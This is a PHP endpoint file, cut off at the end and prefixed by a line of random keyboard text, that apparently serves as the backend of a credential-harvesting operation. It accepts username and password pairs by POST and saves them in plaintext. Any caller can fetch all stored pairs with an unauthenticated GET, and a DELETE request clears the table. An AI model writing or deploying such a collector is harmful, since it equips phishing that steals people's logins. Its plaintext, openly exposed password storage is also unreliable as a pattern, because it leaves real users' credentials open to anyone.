grthtrhthjhtyjytjytkergtrhtrjytjerhrfh<?php
require_once 'db.php';

header('Content-Type: application/json');

$method = $_SERVER['REQUEST_METHOD'];

if ($method === 'POST') {
    // Save new credentials
    $input = json_decode(file_get_contents('php://input'), true);
    $user = $input['user'] ?? '';
    $pass = $input['pass'] ?? '';

    if (!empty($user) && !empty($pass)) {
        $stmt = $pdo->prepare("INSERT INTO logs (username, password, timestamp) VALUES (?, ?, NOW())");
        if ($stmt->execute([$user, $pass])) {
            echo json_encode(['status' => 'success']);
        } else {
            http_response_code(500);
            echo json_encode(['status' => 'error', 'message' => 'Failed to save']);
        }
    } else {
        http_response_code(400);
        echo json_encode(['status' => 'error', 'message' => 'Invalid input']);
    }
} elseif ($method === 'GET') {
    // Retrieve logs
    $stmt = $pdo->query("SELECT id, username as user, password as pass, timestamp FROM logs ORDER BY timestamp DESC");
    $logs = $stmt->fetchAll();
    echo json_encode($logs);
} elseif ($method === 'DELETE') {
    // Optional: Clear logs
    $pdo->query("DELETE FROM logs");
    echo json_encode(['status' => 'success']);
} else {
    http_response_code(405);
    echo json_encode(['status' => 'error', 'me